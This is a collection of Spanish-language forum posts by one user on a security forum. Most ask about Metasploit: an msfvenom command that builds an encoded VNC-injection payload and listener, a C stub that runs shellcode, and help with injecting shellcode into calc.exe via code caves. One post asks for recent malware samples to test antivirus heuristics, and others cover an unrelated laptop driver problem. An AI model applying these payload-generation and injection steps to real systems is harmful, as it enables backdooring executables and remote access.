1  Seguridad Informática / Bugs y Exploits / duda en metasploit en: 8 Agosto 2016, 17:51 pm
Espero me puedan ayudar con la siguiente duda en metasploit:

Al hacer esto:
msfvenom -a x86 --platform windows -p windows/vncinject/bind_tcp LHOST=192.168.56.1 LPORT=4441 -e x86/alpha_mixed -i 3 -f exe -o mixed.exe

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4441
msf exploit(handler) > set LHOST 192.168.56.1
msf exploit(handler) > exploit

Todo funciona de maravilla, pero si lo hago de esta forma no responde:

msfvenom -a x86 --platform windows -p windows/vncinject/bind_tcp LHOST=192.168.56.1 LPORT=4441 -e x86/alpha_mixed -i 3 -f c

2  Seguridad Informática / Bugs y Exploits / Ayuda con shell_code en metasploit en: 19 Junio 2016, 02:59 am
Reformulando la pregunta, la cuestión es, donde puedo conseguir un manual para poder modificar un shellcode  generado por metasploit para que no ejecute el exitprocess, porque me cierra el programa al cual le inyecto código.

Si ejecuto lo siguiente:
Código
  1. char code[] = "mi_shellcode";
  2. int main()
  3. {
  4. int (*func)();
  5. func = (int (*)()) code;
  6. (int)(*func)();
  7. }  
  8.  

funciona perfectamente, pero cuando lo inyecto por ejemplo en calc.exe  solo me genera el mensaje del windows/messagebox pero no ejecuta la calculadora, en google no encuentro nada, lo mismo ocurre con:

ixquick
duckduckgo
http://hss3uro2hsxfogfq.onion/      (  Evil )


--------------------------------------------------------------------------------------------------------------

Saludos antes que nada recalcar que estoy empezando a estudiar un poco sobre  code Cavity y mis conocimientos sobre el tema son limitados.

Pues bien, al trabajar un ejecutable manualmente con OllyDbg funciona perfectamente, primero me muestra el mensaje ingresado y luego se ejecuta la aplicación. No obstante es algo tedioso hacerlo manualmente, así que buscando un poco encontré el siguiente código:

Código
  1. from pefile import PE
  2. from struct import pack
  3. # windows/messagebox - 265 bytes

Lo anterior funciona perfectamente, en mi caso genero un shell code mediante metasploit de la forma:

Código
  1. msfvenom -a x86 --platform windows -p windows/messagebox TITLE="code" TEXT="cave" -f python  

pero solo sale el cuadro del mensaje y no se ejecuta el programa al que le inyecto el código.

Gracias de antemano si me pueden ayudar.

4  Sistemas Operativos / Windows / ¿Dónde puedo conseguir el controlador SATA AHCI para una Acer Aspire ES1-111M? en: 3 Mayo 2015, 18:38 pm
La compre por Amazon pero el sistema operativo que traía era win 8.1 en ingles, así que me cree  un USB booteable de Win7 para bajar el sistema dado que solo trae un eMMC de 32G y ocupaba casi todo el disco, no me trajo el CD de instalación.

La cuestión es que formatee el disco desde el mismo sistema y no logro instalar win 7 porque no consigo los controladores del disco eMMC  Hynix HBG4e y no tengo la forma de restaurar, realice una copia antes de formatear pero no me sirve no reconoce los drivers de recuperación.
De antemano muchas gracias.

PD: Tengo 10 años trabajando con informática y reparación y esta mini laptop es sin duda la peor desgracia que he visto en mi vida. Solo tiene soporte para WIN 8.1 y no le puedo instalar ni Linux tengo ganas de partirla en dos.

                                                                NO LA COMPREN

Antes que nada pido disculpa si este tema está en la sección incorrecta.

Bien, estoy realizando pruebas a la heurística de algunos antivirus con ejemplares de Spyware, virus, troyanos, gusanos y rootkits, para lo cual he descarga muestras desde  http://vxheaven.org/vl.php y otras fuentes,  los antivirus que estoy empleando para ello son Avast, AVG, Avira, Kaspersky, Mcafee y Panda tanto en Linux como en Windows.

Las muestras que poseo parecen ser muy viejas, las versiones de los antivirus que estoy empleando son las últimas de cada producto desactualizadas afín de poner a prueba la heurística, aun así parece que la base de firmas que se instala junto al software posee cadenas de reconocimientos  para cada una de las muestras que he empleado.

Les agradecería si pueden ayudarme con muestras recientes, por ejemplo noviembre o diciembre de 2014.

De antemano muchas gracias.

Buenas tardes, no sé si les ha pasado pero estoy intentando eliminar un tema que cree, la información está mal ubicada y lamentablemente no tengo la opción de borrarla, en la parte superior derecha me aparece una x pero al darle no realiza ninguna acción, solo me perite editar.


Gracias.
